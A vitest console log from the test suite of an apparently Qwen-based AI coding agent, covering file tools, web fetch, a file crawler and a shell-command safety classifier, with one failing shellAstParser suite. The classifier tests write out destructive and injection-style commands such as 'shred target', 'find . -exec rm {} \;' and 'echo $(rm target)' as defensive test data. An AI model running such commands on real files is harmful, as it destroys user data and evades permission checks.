✓ ReadFileTool > execute > should return success result for a text file 313ms
✓ ReadFileTool > execute > should read and truncate a text file larger than 10MB 1004ms
✓ ReadFileTool > execute > should handle image file and return appropriate content 401ms
✓ ReadFileTool > execute > should handle PDF file and return appropriate content 316ms
✓ ReadFileTool > execute > PDF vision bridge fallback > replaces candidate images with an untrusted transcription before returning 693ms
✓ src/skills/skill-manager.test.ts (81 tests) 5491ms
✓ SkillManager > parseSkillContent > should parse valid markdown content 538ms
✓ SkillManager > parseSkillContent > should parse numeric priority from frontmatter 370ms
✓ SkillManager > bundled skills > should skip disabled skill levels without scanning them 380ms
✓ SkillManager > hooks parsing > should parse hooks configuration from frontmatter 326ms
✓ src/tools/web-fetch.test.ts (97 tests) 14649ms
✓ WebFetchTool > execute > should throw validation error when url parameter is missing 1323ms
✓ WebFetchTool > execute > should fall back to raw content when side-query processing fails 2137ms
✓ WebFetchTool > content handling > should convert the full HTML body before truncating, with an explicit marker 753ms
✓ WebFetchTool > content handling > should keep content past 100k of raw HTML when the text itself fits 2569ms
✓ WebFetchTool > side-query processing > should keep the persisted PDF and its extracted text when processing fails 474ms
✓ WebFetchTool > side-query processing > should fall back with raw content when the processing backstop fires, without aborting the tool signal 521ms
✓ src/tools/edit.test.ts (85 tests) 20740ms
✓ EditTool > team memory > blocks a secret written to a team-memory path via new_string 1336ms
✓ EditTool > team memory > blocks a secret assembled across edits (scans full result, not just new_string) 597ms
✓ EditTool > team memory > reports the pre-existing-secret message and leaves the file untouched 339ms
✓ EditTool > getConfirmationDetails > should request confirmation for valid edit 306ms
✓ EditTool > execute > should edit an existing file and return diff with fileName 432ms
✓ EditTool > prior-read enforcement > allows editing a large text file after a ranged read 9778ms
✓ EditTool > escaped paths with spaces (end-to-end) > should fail gracefully when escaped path points to nonexistent file 305ms
✓ src/tools/skill.test.ts (81 tests) 4616ms
✓ SkillTool > initialization > renders available skills in the snapshot block 351ms
✓ src/tools/mcp-transport-pool.test.ts (34 tests) 4944ms
✓ McpTransportPool > acquire / release lifecycle > 3 sessions acquiring same key share 1 entry (1 connect call) 544ms
✓ src/tools/write-file.test.ts (74 tests) 8619ms
✓ WriteFileTool > build > should return an invocation for a valid absolute path within root 1554ms
✓ WriteFileTool > build > should throw an error for a relative path 354ms
✓ WriteFileTool > execute > should write a new file and return diff 346ms
✓ src/utils/retry.test.ts (90 tests) 3962ms
✓ src/services/memoryPressureMonitor.test.ts (72 tests) 3563ms
✓ src/tools/ripGrep.test.ts (81 tests) 11388ms
✓ RipGrepTool > validateToolParams > should return null for valid params (pattern only) 1385ms
✓ RipGrepTool > validateToolParams > should return null for valid params (pattern and path) 703ms
✓ src/memory/manager.test.ts (47 tests) 4144ms
✓ MemoryManager > scheduleExtract() > runs extract and records a completed task 330ms
✓ src/agents/runtime/workflow-sandbox.test.ts (109 tests) 35546ms
✓ extractAndStripMeta > rejects meta that references an unknown identifier 458ms
✓ createWorkflowSandbox security > synchronous infinite loop is aborted by vm timeout 30063ms
✓ src/extension/extension-store.test.ts (60 tests) 21445ms
✓ ExtensionStore > imports V1 rules without materializing workspace overrides 750ms
✓ ExtensionStore > re-keys a policy to a new id for the same name after an id-formula change 313ms
✓ ExtensionStore > serializes mutations from two Node processes sharing QWEN_HOME 10698ms
✓ ExtensionStore > fails closed when state and a different V1 projection have equal mtimes 649ms
✓ ExtensionStore > keeps V2 reads available when an older V1 projection cannot be repaired 355ms
✓ ExtensionStore > rebases prepared updates for different artifacts 372ms
✓ src/utils/atomicFileWrite.test.ts (82 tests) 3893ms
✓ atomicWriteJSON > should write valid JSON to the target file 401ms
✓ src/core/openaiContentGenerator/provider/dashscope.test.ts (91 tests) 2334ms
✓ src/extension/claude-converter.test.ts (52 tests) 3856ms
✓ convertClaudePluginPackage > should only collect specified skills when config provides explicit list 705ms
✓ convertClaudePluginPackage > should successfully convert agent files with Windows CRLF endings 1002ms
✓ convertClaudePluginPackage > should populate commands/skills/agents when marketplace references the whole folder (deep-wiki shape) 323ms
✓ src/telemetry/sdk.test.ts (63 tests) 8352ms
✓ Telemetry SDK > should use gRPC exporters when protocol is grpc 1903ms
✓ Telemetry SDK > should route OpenTelemetry diagnostics to debug log instead of console output 339ms
✓ Telemetry SDK > in interactive mode, routes log-to-span diagnostics through the OTEL debug logger to avoid TUI pollution 327ms
✓ src/qwen/qwenContentGenerator.test.ts (44 tests) 2105ms
✓ src/ide/ide-client.test.ts (65 tests) 4028ms
✓ IdeClient > createProxyAwareFetch > uses undici fetch with the proxy-aware dispatcher 829ms
✓ src/tools/monitor.test.ts (81 tests) 4463ms
✓ MonitorTool > execute > uses SIGKILL fallback if registry registration fails after spawn 370ms
✓ src/services/postCompactAttachments.test.ts (67 tests) 2270ms
✓ buildFileRestorationBlocks > respects POST_COMPACT_TOKEN_BUDGET across embedded files 365ms
✓ src/lsp/LspServerManager.test.ts (46 tests) 3613ms
✓ LspServerManager > fails socket startup early when the child exits before connect 1050ms
✓ src/core/baseLlmClient.test.ts (56 tests) 2333ms
✓ BaseLlmClient > generateJson - Success Scenarios > should call generateContent with correct parameters using function declarations 355ms
✓ src/utils/shell-utils.test.ts (163 tests) 3202ms
✓ src/services/microcompaction/microcompact.test.ts (64 tests) 1361ms
✓ src/tools/tool-registry.test.ts (51 tests) 6045ms
✓ ToolRegistry > registerTool > should register a new tool 436ms
✓ ToolRegistry > discoverTools > strips Qwen-internal daemon secrets from the discovery and tool-call child env (#6601) 1434ms
✓ src/utils/filesearch/crawler.test.ts (48 tests) 22201ms
✓ crawler > should use .qwenignore rules 922ms
✓ crawler > should combine .gitignore and .qwenignore rules 317ms
✓ crawler > should handle negated directories 332ms
✓ crawler > should handle root-level file negation 355ms
✓ crawler > should handle directory negation with glob 350ms
✓ crawler > should correctly handle negated patterns in .gitignore 318ms
✓ crawler > with in-memory cache > should hit the cache for subsequent crawls 446ms
✓ crawler > with in-memory cache > should miss the cache when ignore rules change 515ms
✓ crawler > with in-memory cache > should miss the cache after TTL expires 521ms
✓ crawler > with in-memory cache > should miss the cache when maxDepth changes 502ms
✓ crawler > with in-memory cache > should hit cache when crawling a git repo twice 1249ms
✓ crawler > with in-memory cache > should hit cache for ripgrep path when not a git repo 358ms
✓ crawler > with maxDepth > should treat maxDepth as relative to the crawl directory 849ms
✓ crawler > with maxFiles > should truncate results when maxFiles is exceeded 520ms
✓ crawler > with maxFiles > should not count file-ignored entries toward maxFiles budget 318ms
✓ crawler > two-tier strategy: git ls-files + ripgrep fallback > should use git ls-files in a git repo 744ms
✓ crawler > two-tier strategy: git ls-files + ripgrep fallback > should preserve non-ASCII tracked paths from git output 755ms
✓ crawler > two-tier strategy: git ls-files + ripgrep fallback > should recurse into tracked submodules on the git path 3041ms
✓ crawler > two-tier strategy: git ls-files + ripgrep fallback > should resolve the git root from a subdirectory crawl 740ms
✓ crawler > two-tier strategy: git ls-files + ripgrep fallback > should not include tracked files deleted from the working tree 758ms
✓ crawler > two-tier strategy: git ls-files + ripgrep fallback > should respect maxDepth on git ls-files path 735ms
✓ crawler > two-tier strategy: git ls-files + ripgrep fallback > should avoid enumerating gitignored untracked files on git path 998ms
✓ crawler > two-tier strategy: git ls-files + ripgrep fallback > should not drop files after directory expansion when maxFiles is small 706ms
✓ crawler > throttling > should refresh untracked files before reusing throttled git results 1032ms
✓ crawler > mtime-based change detection > should re-crawl when git index mtime changes 1010ms
✓ src/permissions/autoMode.test.ts (88 tests) 3258ms
✓ SAFE_TOOL_ALLOWLIST > contents are frozen (snapshot guard) 492ms
✓ src/mcp/oauth-provider.test.ts (27 tests) 1937ms
✓ MCPOAuthProvider > authenticate > should perform complete OAuth flow with PKCE 495ms
✓ src/core/turn.test.ts (36 tests) 1683ms
✓ Turn > run > should preserve API errors when diagnostic summary fails 420ms
✓ src/utils/readManyFiles.test.ts (45 tests) 5909ms
✓ readManyFiles > file reading > should read a single file 413ms
✓ readManyFiles > file reading > reads a validated file from its approved handle during an ABA path swap 490ms
✓ readManyFiles > file reading > reads validated large text through a bounded handle without snapshotting 683ms
✓ readManyFiles > file reading > should include truncated large text files instead of reporting a size error 805ms
✓ readManyFiles > file reading > renders canonical images through the overview pipeline even when the bridge handoff flag is set 446ms
✓ readManyFiles > directory handling > should return directory structure when path is a directory 394ms
✓ readManyFiles > per-file error surfacing > should surface processSingleFileContent errors instead of silently skipping the file 318ms
✓ src/utils/memoryImportProcessor.test.ts (37 tests) 2218ms
✓ memoryImportProcessor > processImports > should process basic md file imports 666ms
✓ src/services/fileHistoryService.test.ts (51 tests) 5055ms
✓ FileHistoryService > snapshot eviction > should delete orphaned backup files on overflow 1315ms
✓ src/tools/glob.test.ts (60 tests) 13648ms
✓ GlobTool > execute > should find files matching a simple pattern in the root 2657ms
✓ GlobTool > execute > should find files case-insensitively by default (pattern: *.TXT) 414ms
✓ GlobTool > execute > should correctly sort files by modification time (newest first) 419ms
✓ GlobTool > multi-directory workspace > should not scan later workspace directories after hitting the collection limit 640ms
✓ GlobTool > file count truncation > stops collecting glob results at a bounded scan limit 485ms
✓ GlobTool > file count truncation > should truncate results when more than 100 files are found 359ms
✓ GlobTool > file count truncation > should not truncate when exactly 100 files are found 515ms
✓ src/models/modelRegistry.test.ts (78 tests) 1486ms
✓ src/core/openaiContentGenerator/streamingToolCallParser.test.ts (89 tests) 1587ms
✓ src/core/prompts.test.ts (96 tests) 2374ms
✓ src/telemetry/uiTelemetry.test.ts (47 tests) 1632ms
✓ UiTelemetryService > Per-Session Metrics Isolation > #closedSessions should be bounded 342ms
✓ src/services/session-transcript-reader.test.ts (58 tests) 5766ms
✓ SessionTranscriptReader > rejects an empty transcript snapshot 449ms
✓ SessionTranscriptReader > returns a single-record transcript without a continuation cursor 367ms
✓ SessionTranscriptReader > evicts the least-recently-used index after 32 cached sessions 1098ms
✓ src/agents/workflow-run-registry.test.ts (55 tests) 2015ms
✓ WorkflowRunRegistry > parks a workflow-agent approval and resolves it exactly once 374ms
✓ src/tools/lsp.test.ts (73 tests) 15763ms
✓ LspTool > validateToolParams > location-based operations > requires filePath for goToDefinition operation 1607ms
✓ LspTool > validateToolParams > location-based operations > requires filePath for findReferences operation 330ms
✓ LspTool > validateToolParams > location-based operations > requires line for goToDefinition operation 881ms
✓ LspTool > execute > goToDefinition operation > dispatches to definitions and formats results 539ms
[ToolSearch] setTools() failed while revealing deferred tools: chat not initialised
[ToolSearch] setTools() failed while revealing deferred tools: chat not initialised
[ToolSearch] ensureTool failed for "bravo": mid-batch failure
✓ src/tools/tool-search.test.ts (53 tests) 5809ms
✓ ToolSearchTool > is marked alwaysLoad so the model can always reach it 423ms
✓ ToolSearchTool > select: mode loads named tool and reveals it 1281ms
✓ ToolSearchTool > finds the cron list tool for natural-language task visibility requests 441ms
✓ src/agents/backends/InProcessBackend.test.ts (45 tests) 4023ms
✓ InProcessBackend > should pass per-agent cwd to AgentCore via config proxy 525ms
✓ src/services/visionBridge/vision-bridge-service.test.ts (65 tests) 1486ms
✓ src/core/toolHookTriggers.test.ts (62 tests) 1266ms
✓ src/telemetry/log-to-span-processor.test.ts (53 tests) 2097ms
✓ LogToSpanProcessor > converts a log record to a span on flush 320ms
✓ src/utils/memoryDiscovery.test.ts (38 tests) 4526ms
✓ loadServerHierarchicalMemory > when untrusted > does not load context files from untrusted workspaces 502ms
✓ loadServerHierarchicalMemory > when untrusted > loads context from outside the untrusted workspace 394ms
✓ loadServerHierarchicalMemory > QWEN.local.md (project-local context file) > silently ignores absent .qwen/QWEN.local.md 485ms
✓ src/skills/bundled/loop/loop-task-file.test.ts (38 tests) 2582ms
✓ readLoopTaskFile > reads the project loop task file first 483ms
✓ src/tools/todoWrite.test.ts (44 tests) 2643ms
✓ src/skills/bundled/loop/loop-tick-resolver.test.ts (38 tests) 3007ms
✓ LoopTickResolver > ignores the project loop.md in an untrusted folder (allowProjectFile: false) 362ms
✓ LoopTickResolver > homeLoopLabel uses a forward slash in the $QWEN_HOME label even with Windows separators 388ms
✓ LoopTickResolver > homeLoopLabel uses forward slashes for Windows tilde labels under the real home 387ms
✓ src/hooks/hookAggregator.test.ts (51 tests) 949ms
❯ src/utils/shellAstParser.test.ts (542 tests | 1 failed) 17372ms
✓ isShellCommandReadOnlyAST > allows simple read-only command 551ms
✓ isShellCommandReadOnlyAST > rejects mutating commands like rm 81ms
✓ isShellCommandReadOnlyAST > rejects redirection output 66ms
✓ isShellCommandReadOnlyAST > rejects command substitution 15ms
✓ isShellCommandReadOnlyAST > substitution in non-command node types (PR #4386 R4 regression) > rejects substitution inside variable_assignment 26ms
✓ isShellCommandReadOnlyAST > substitution in non-command node types (PR #4386 R4 regression) > rejects substitution inside variable_assignment with env-prefix wrapper 9ms
✓ isShellCommandReadOnlyAST > substitution in non-command node types (PR #4386 R4 regression) > rejects substitution inside a read redirect target 14ms
✓ isShellCommandReadOnlyAST > substitution in non-command node types (PR #4386 R4 regression) > rejects backtick substitution inside variable_assignment 12ms
✓ isShellCommandReadOnlyAST > allows git status but rejects git commit 70ms
✓ isShellCommandReadOnlyAST > rejects find with exec 32ms
✓ isShellCommandReadOnlyAST > rejects sed in-place 20ms
✓ isShellCommandReadOnlyAST > rejects empty command 4ms
✓ isShellCommandReadOnlyAST > rejects environment prefix followed by allowed command 12ms
✓ isShellCommandReadOnlyAST > multi-command security > rejects commands separated by newlines (CVE-style attack) 10ms
✓ isShellCommandReadOnlyAST > multi-command security > rejects commands separated by Windows newlines 9ms
✓ isShellCommandReadOnlyAST > multi-command security > rejects newline-separated commands when any is mutating 12ms
✓ isShellCommandReadOnlyAST > multi-command security > allows chained read-only commands with && 13ms
✓ isShellCommandReadOnlyAST > multi-command security > allows chained read-only commands with || 25ms
✓ isShellCommandReadOnlyAST > multi-command security > allows chained read-only commands with ; 22ms
✓ isShellCommandReadOnlyAST > multi-command security > allows piped read-only commands with | 23ms
✓ isShellCommandReadOnlyAST > multi-command security > allows backgrounded read-only commands with & 16ms
✓ isShellCommandReadOnlyAST > multi-command security > rejects chained commands when any is mutating 47ms
✓ isShellCommandReadOnlyAST > multi-command security > allows single read-only command without chaining 7ms
✓ isShellCommandReadOnlyAST > multi-command security > rejects single mutating command (baseline check) 7ms
✓ isShellCommandReadOnlyAST > multi-command security > treats escaped newline as line continuation (single command) 15ms
✓ isShellCommandReadOnlyAST > multi-command security > allows consecutive newlines with all read-only commands 11ms
✓ isShellCommandReadOnlyAST > awk command security > allows safe awk commands 74ms
✓ isShellCommandReadOnlyAST > awk command security > rejects awk with system() calls 13ms
✓ isShellCommandReadOnlyAST > awk command security > rejects gawk indirect function calls 17ms
✓ isShellCommandReadOnlyAST > awk command security > rejects awk with file output redirection 18ms
✓ isShellCommandReadOnlyAST > awk command security > rejects awk with command pipes 15ms
✓ isShellCommandReadOnlyAST > awk command security > rejects awk with getline from commands 12ms
✓ isShellCommandReadOnlyAST > awk command security > rejects awk with close() calls 13ms
✓ isShellCommandReadOnlyAST > sed command security > allows safe sed commands 59ms
✓ isShellCommandReadOnlyAST > sed command security > rejects sed with execute command 14ms
✓ isShellCommandReadOnlyAST > sed command security > rejects sed with write command 105ms
✓ isShellCommandReadOnlyAST > sed command security > rejects sed with read command 159ms
✓ isShellCommandReadOnlyAST > sed command security > still rejects sed in-place editing 42ms
✓ isShellCommandReadOnlyAST > AST-specific edge cases > rejects backtick command substitution 21ms
✓ isShellCommandReadOnlyAST > AST-specific edge cases > rejects process substitution with write 12ms
✓ isShellCommandReadOnlyAST > AST-specific edge cases > allows pure variable assignment 12ms
✓ isShellCommandReadOnlyAST > AST-specific edge cases > rejects multiple env vars before command 125ms
✓ isShellCommandReadOnlyAST > AST-specific edge cases > rejects function definitions 21ms
✓ isShellCommandReadOnlyAST > AST-specific edge cases > allows git diff 89ms
✓ isShellCommandReadOnlyAST > AST-specific edge cases > allows git log 59ms
✓ isShellCommandReadOnlyAST > AST-specific edge cases > rejects git push 32ms
✓ isShellCommandReadOnlyAST > AST-specific edge cases > allows git --version / --help 11ms
✓ isShellCommandReadOnlyAST > AST-specific edge cases > allows input redirection (read-only) 14ms
✓ isShellCommandReadOnlyAST > AST-specific edge cases > rejects append redirection 9ms
✓ isShellCommandReadOnlyAST > AST-specific edge cases > allows here-string 10ms
✓ isShellCommandReadOnlyAST > AST-specific edge cases > rejects nested command substitution 14ms
✓ isShellCommandReadOnlyAST > AST-specific edge cases > allows complex pipeline of read-only commands 222ms
✓ isShellCommandReadOnlyAST > AST-specific edge cases > rejects pipeline with mutating command 37ms
✓ isShellCommandReadOnlyAST > AST-specific edge cases > allows git branch (no mutating flags) 72ms
✓ isShellCommandReadOnlyAST > AST-specific edge cases > rejects git branch -d 25ms
✓ isShellCommandReadOnlyAST > AST-specific edge cases > allows git remote (no mutating action) 12ms
✓ isShellCommandReadOnlyAST > AST-specific edge cases > rejects git remote add 16ms
✓ classifyShellCommandSafety > classifies "ls -la" as read-only 20ms
✓ classifyShellCommandSafety > classifies "git status --short" as read-only 11ms
✓ classifyShellCommandSafety > classifies "ls | cat && pwd" as read-only 11ms
✓ classifyShellCommandSafety > classifies "FOO=bar" as read-only 8ms
✓ classifyShellCommandSafety > classifies "cd /tmp" as read-only 5ms
✓ classifyShellCommandSafety > classifies "(git status)" as read-only 9ms
✓ classifyShellCommandSafety > classifies "{ ls; pwd; }" as read-only 9ms
✓ classifyShellCommandSafety > classifies "cat < input.txt" as read-only 5ms
✓ classifyShellCommandSafety > classifies "cat < classifies "echo 2>&1" as read-only 20ms
✓ classifyShellCommandSafety > classifies "echo >&-" as read-only 9ms
✓ classifyShellCommandSafety > classifies "uniq input.txt" as read-only 23ms
✓ classifyShellCommandSafety > classifies "uniq -- -f" as read-only 6ms
✓ classifyShellCommandSafety > classifies "git branch --list --color=always topic" as read-only 10ms
✓ classifyShellCommandSafety > classifies "git diff -o patch" as read-only 6ms
✓ classifyShellCommandSafety > classifies "git diff -Oorderfile" as read-only 7ms
✓ classifyShellCommandSafety > classifies "git log -p" as read-only 7ms
✓ classifyShellCommandSafety > classifies "git show -p HEAD" as read-only 11ms
✓ classifyShellCommandSafety > classifies "git blame -p file" as read-only 11ms
✓ classifyShellCommandSafety > classifies "git log -- --output=log.out" as read-only 16ms
✓ classifyShellCommandSafety > classifies "sort -- -o output" as read-only 14ms
✓ classifyShellCommandSafety > classifies "tree -- -o output" as read-only 8ms
✓ classifyShellCommandSafety > classifies "rg -- -z file" as read-only 13ms
✓ classifyShellCommandSafety > classifies "sort -- -roout input" as read-only 9ms
✓ classifyShellCommandSafety > classifies "sort -- --output=out" as read-only 6ms
✓ classifyShellCommandSafety > classifies "sed -- 's/a/b/' input" as read-only 12ms
✓ classifyShellCommandSafety > classifies "sed 's/a/*/' file" as read-only 6ms
✓ classifyShellCommandSafety > classifies "sed 's/old/new/' file" as read-only 6ms
✓ classifyShellCommandSafety > classifies "sed 's/hello/world/' file" as read-only 8ms
✓ classifyShellCommandSafety > classifies "sed 's/error/warning/g' file" as read-only 28ms
✓ classifyShellCommandSafety > classifies "sed -n '/needle/p' file" as read-only 15ms
✓ classifyShellCommandSafety > classifies "sed '/pattern/d' file" as read-only 7ms
✓ classifyShellCommandSafety > classifies "sed 's/a/woutput/' file" as read-only 8ms
✓ classifyShellCommandSafety > classifies "sed 's#x#s/a/b/woutput#' file" as read-only 14ms
✓ classifyShellCommandSafety > classifies "sed 's#x#foo;woutput#' file" as read-only 8ms
✓ classifyShellCommandSafety > classifies "sed 'p;d' file" as read-only 9ms
✓ classifyShellCommandSafety > classifies "awk '{ print*2 }' file" as read-only 25ms
✓ classifyShellCommandSafety > classifies "awk -- '{ print }' input" as read-only 9ms
✓ classifyShellCommandSafety > classifies "awk -F : '{ print undefined }' input" as read-only 17ms
✓ classifyShellCommandSafety > classifies "awk 'BEGIN { print \"user@example.com\" }'" as read-only 7ms
✓ classifyShellCommandSafety > classifies "printf '%s' value" as read-only 12ms
✓ classifyShellCommandSafety > classifies "chgrp target" as write 7ms
✓ classifyShellCommandSafety > classifies "chmod target" as write 5ms
✓ classifyShellCommandSafety > classifies "chown target" as write 6ms
✓ classifyShellCommandSafety > classifies "cp target" as write 5ms
✓ classifyShellCommandSafety > classifies "install target" as write 6ms
✓ classifyShellCommandSafety > classifies "ln target" as write 5ms
✓ classifyShellCommandSafety > classifies "mkdir target" as write 5ms
✓ classifyShellCommandSafety > classifies "mkfifo target" as write 5ms
✓ classifyShellCommandSafety > classifies "mknod target" as write 5ms
✓ classifyShellCommandSafety > classifies "mv target" as write 5ms
✓ classifyShellCommandSafety > classifies "rename target" as write 5ms
✓ classifyShellCommandSafety > classifies "rm target" as write 9ms
✓ classifyShellCommandSafety > classifies "rmdir target" as write 6ms
✓ classifyShellCommandSafety > classifies "shred target" as write 5ms
✓ classifyShellCommandSafety > classifies "touch target" as write 17ms
✓ classifyShellCommandSafety > classifies "truncate target" as write 9ms
✓ classifyShellCommandSafety > classifies "unlink target" as write 6ms
✓ classifyShellCommandSafety > classifies "git add target" as write 9ms
✓ classifyShellCommandSafety > classifies "git am target" as write 6ms
✓ classifyShellCommandSafety > classifies "git checkout target" as write 6ms
✓ classifyShellCommandSafety > classifies "git cherry-pick target" as write 6ms
✓ classifyShellCommandSafety > classifies "git clean target" as write 6ms
✓ classifyShellCommandSafety > classifies "git clone target" as write 6ms
✓ classifyShellCommandSafety > classifies "git commit target" as write 11ms
✓ classifyShellCommandSafety > classifies "git fetch target" as write 6ms
✓ classifyShellCommandSafety > classifies "git gc target" as write 6ms
✓ classifyShellCommandSafety > classifies "git init target" as write 6ms
✓ classifyShellCommandSafety > classifies "git merge target" as write 6ms
✓ classifyShellCommandSafety > classifies "git mv target" as write 5ms
✓ classifyShellCommandSafety > classifies "git pull target" as write 5ms
✓ classifyShellCommandSafety > classifies "git push target" as write 5ms
✓ classifyShellCommandSafety > classifies "git rebase target" as write 6ms
✓ classifyShellCommandSafety > classifies "git reset target" as write 6ms
✓ classifyShellCommandSafety > classifies "git restore target" as write 7ms
✓ classifyShellCommandSafety > classifies "git revert target" as write 7ms
✓ classifyShellCommandSafety > classifies "git rm target" as write 6ms
✓ classifyShellCommandSafety > classifies "git stash target" as write 7ms
✓ classifyShellCommandSafety > classifies "git switch target" as write 6ms
✓ classifyShellCommandSafety > classifies "kill 123" as write 37ms
✓ classifyShellCommandSafety > classifies "kill -- -0" as write 7ms
✓ classifyShellCommandSafety > classifies "kill \"$PID\"" as write 15ms
✓ classifyShellCommandSafety > classifies "pkill -n 0" as write 7ms
✓ classifyShellCommandSafety > classifies "pkill -n0 process" as write 6ms
✓ classifyShellCommandSafety > classifies "pkill -s0 process" as write 5ms
✓ classifyShellCommandSafety > classifies "pkill -s 0 process" as write 6ms
✓ classifyShellCommandSafety > classifies "pkill -s \"$SESSION\" process" as write 9ms
✓ classifyShellCommandSafety > classifies "killall -n0 process" as write 10ms
✓ classifyShellCommandSafety > classifies "echo > out" as write 12ms
✓ classifyShellCommandSafety > classifies "> out" as write 6ms
✓ classifyShellCommandSafety > classifies "export FOO=bar > out" as write 6ms
✓ classifyShellCommandSafety > classifies "echo >> out" as write 6ms
✓ classifyShellCommandSafety > classifies "echo >| out" as write 5ms
✓ classifyShellCommandSafety > classifies "echo &> out" as write 8ms
✓ classifyShellCommandSafety > classifies "echo &>> out" as write 6ms
✓ classifyShellCommandSafety > classifies "echo >& out" as write 8ms
✓ classifyShellCommandSafety > classifies "> out echo" as write 9ms
✓ classifyShellCommandSafety > classifies "git commit -m message" as write 6ms
✓ classifyShellCommandSafety > classifies "git commit -m --help" as write 5ms
✓ classifyShellCommandSafety > classifies "git commit -F --help" as write 6ms
✓ classifyShellCommandSafety > classifies "git commit -C --help" as write 6ms
✓ classifyShellCommandSafety > classifies "git commit -c --help" as write 7ms
✓ classifyShellCommandSafety > classifies "git commit --reuse-message --help" as write 17ms
✓ classifyShellCommandSafety > classifies "git commit --fixup --help" as write 6ms
✓ classifyShellCommandSafety > classifies "git commit -m --dry-run" as write 6ms
✓ classifyShellCommandSafety > classifies "git commit -n -m message" as write 7ms
✓ classifyShellCommandSafety > classifies "git commit -m '%G?'" as write 10ms
✓ classifyShellCommandSafety > classifies "git add -- --help" as write 6ms
✓ classifyShellCommandSafety > classifies "git add -- --dry-run" as write 5ms
✓ classifyShellCommandSafety > classifies "touch -- --help" as write 5ms
✓ classifyShellCommandSafety > classifies "git fetch -n origin" as write 6ms
✓ classifyShellCommandSafety > classifies "git branch topic" as write 7ms
✓ classifyShellCommandSafety > classifies "git branch -- topic" as write 5ms
✓ classifyShellCommandSafety > classifies "git branch --color=always color-topic" as write 6ms
✓ classifyShellCommandSafety > classifies "git branch --column column-topic" as write 6ms
✓ classifyShellCommandSafety > classifies "git branch --sort=refname sort-topic" as write 6ms
✓ classifyShellCommandSafety > classifies "git branch --format='%(refname)' format-topic" as write 9ms
✓ classifyShellCommandSafety > classifies "git branch -v verbose-topic" as write 6ms
✓ classifyShellCommandSafety > classifies "git branch --delete topic" as write 6ms
✓ classifyShellCommandSafety > classifies "git branch -uorigin/main topic" as write 6ms
✓ classifyShellCommandSafety > classifies "git branch --format --help -d topic" as write 6ms
✓ classifyShellCommandSafety > classifies "git branch --sort --version --delete topic" as write 7ms
✓ classifyShellCommandSafety > classifies "git remote set-url origin url" as write 8ms
✓ classifyShellCommandSafety > classifies "git remote rm origin" as write 6ms
✓ classifyShellCommandSafety > classifies "git remote prune origin" as write 9ms
✓ classifyShellCommandSafety > classifies "git diff --output=patch" as write 7ms
✓ classifyShellCommandSafety > classifies "git log --output=log.out" as write 6ms
✓ classifyShellCommandSafety > classifies "git show --output=show.out HEAD" as write 6ms
✓ classifyShellCommandSafety > classifies "git log --output --help" as write 6ms
✓ classifyShellCommandSafety > classifies "find . -delete" as write 18ms
✓ classifyShellCommandSafety > classifies "find . -fprint matches" as write 13ms
✓ classifyShellCommandSafety > classifies "find . -fprint --help" as write 6ms
✓ classifyShellCommandSafety > classifies "find . -fls --help" as write 6ms
✓ classifyShellCommandSafety > classifies "find . -fprintf --help format" as write 6ms
✓ classifyShellCommandSafety > classifies "find . -exec rm {} \\;" as write 8ms
✓ classifyShellCommandSafety > classifies "find . -exec echo --help {} \\; -delete" as write 11ms
✓ classifyShellCommandSafety > classifies "find . -exec echo --version {} \\; -delete" as write 12ms
✓ classifyShellCommandSafety > classifies "sed -i 's/a/b/' file" as write 7ms
✓ classifyShellCommandSafety > classifies "sed -f script.sed -i file" as write 7ms
✓ classifyShellCommandSafety > classifies "sed --file=script.sed --in-place=.bak file" as write 6ms
✓ classifyShellCommandSafety > classifies "sed -- 'wout' input" as write 9ms
✓ classifyShellCommandSafety > classifies "sed -- 's/a/b/wout' input" as write 8ms
✓ classifyShellCommandSafety > classifies "sed -I .bak 's/a/b/' file" as write 15ms
✓ classifyShellCommandSafety > classifies "sed -I.bak 's/a/b/' file" as write 7ms
✓ classifyShellCommandSafety > classifies "sed -ni.bak 's/a/b/' file" as write 7ms
✓ classifyShellCommandSafety > classifies "sed -nI.bak 's/a/b/' file" as write 6ms
✓ classifyShellCommandSafety > classifies "sed 's/a/b/w output' file" as write 7ms
✓ classifyShellCommandSafety > classifies "sed -e 's/a/b/' -e 'woutput' file" as write 7ms
✓ classifyShellCommandSafety > classifies "sed 's/a/b/woutput' file" as write 7ms
✓ classifyShellCommandSafety > classifies "sed 'woutput' file" as write 6ms
✓ classifyShellCommandSafety > classifies "sed '1woutput' file" as write 6ms
✓ classifyShellCommandSafety > classifies "sed '/pattern/woutput' file" as write 6ms
✓ classifyShellCommandSafety > classifies "sed 'W output' file" as write 6ms
✓ classifyShellCommandSafety > classifies "sed '1W output' file" as write 7ms
✓ classifyShellCommandSafety > classifies "sed 'p;w output' file" as write 7ms
✓ classifyShellCommandSafety > classifies "sed 's/a/b/;w output' file" as write 11ms
✓ classifyShellCommandSafety > classifies "sed 's/a/;/;w output' file" as write 7ms
✓ classifyShellCommandSafety > classifies "sed -l 80 'w output' file" as write 7ms
✓ classifyShellCommandSafety > classifies "sed --line-length 80 'w output' file" as write 7ms
✓ classifyShellCommandSafety > classifies "awk '{ print > \"output\" }' file" as write 6ms
✓ classifyShellCommandSafety > classifies "awk -- 'BEGIN { print > \"out\" }'" as write 7ms
✓ classifyShellCommandSafety > classifies "awk 'BEGIN { print \"x\" > \"out\" }'" as write 6ms
✓ classifyShellCommandSafety > classifies "awk 'BEGIN { printf \"%s\", \"x\" > \"out\" }'" as write 9ms
✓ classifyShellCommandSafety > classifies "awk 'BEGIN { print a[x] > \"out\" }'" as write 6ms
✓ classifyShellCommandSafety > classifies "awk '{ print>\"output\" }' file" as write 7ms
✓ classifyShellCommandSafety > classifies "awk -v mode=1 'BEGIN { print > \"out\" }' input" as write 7ms
✓ classifyShellCommandSafety > classifies "awk '/pattern/ { print > \"out\" }' input" as write 8ms
✓ classifyShellCommandSafety > classifies "sort -o output input" as write 13ms
✓ classifyShellCommandSafety > classifies "sort -o --help input" as write 13ms
✓ classifyShellCommandSafety > classifies "tree -o tree.txt" as write 6ms
✓ classifyShellCommandSafety > classifies "tree -o --help ." as write 6ms
✓ classifyShellCommandSafety > classifies "uniq input output" as write 6ms
✓ classifyShellCommandSafety > classifies "uniq - output" as write 10ms
✓ classifyShellCommandSafety > classifies "uniq -- -f output" as write 6ms
✓ classifyShellCommandSafety > classifies "uniq input -- -f" as write 6ms
✓ classifyShellCommandSafety > classifies "tee output" as write 8ms
✓ classifyShellCommandSafety > classifies "tee -- -output" as write 6ms
✓ classifyShellCommandSafety > classifies "tee -a -- -output" as write 7ms
✓ classifyShellCommandSafety > classifies "dd if=input of=output" as write 9ms
✓ classifyShellCommandSafety > classifies "echo $(rm target)" as write 8ms
